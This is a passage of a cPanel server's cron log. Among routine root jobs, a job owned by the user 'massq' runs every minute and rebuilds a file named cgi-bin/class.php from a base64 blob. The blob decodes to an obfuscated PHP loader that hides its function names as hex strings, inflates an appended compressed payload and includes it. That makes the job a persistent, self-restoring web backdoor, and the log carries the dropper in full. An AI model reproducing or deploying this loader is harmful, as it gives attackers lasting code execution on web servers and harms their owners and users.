TskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:09:01 server CROND[26989]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 08:10:01 server CROND[27085]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:10:01 server CROND[27086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 08:10:01 server CROND[27087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:10:01 server CROND[27088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:11:01 server CROND[27306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:12:01 server CROND[27409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:12:01 server CROND[27410]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 08:13:01 server CROND[27466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:14:01 server CROND[27521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:15:01 server CROND[27591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:15:01 server CROND[27592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:15:01 server CROND[27593]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:15:01 server CROND[27594]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 08:16:01 server CROND[27803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:17:01 server CROND[27857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:18:01 server CROND[27906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:19:01 server CROND[27976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:20:01 server CROND[28031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:20:01 server CROND[28034]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:20:01 server CROND[28033]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 08:20:01 server CROND[28035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:20:01 server CROND[28036]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 08:21:01 server CROND[28145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:22:01 server CROND[28196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
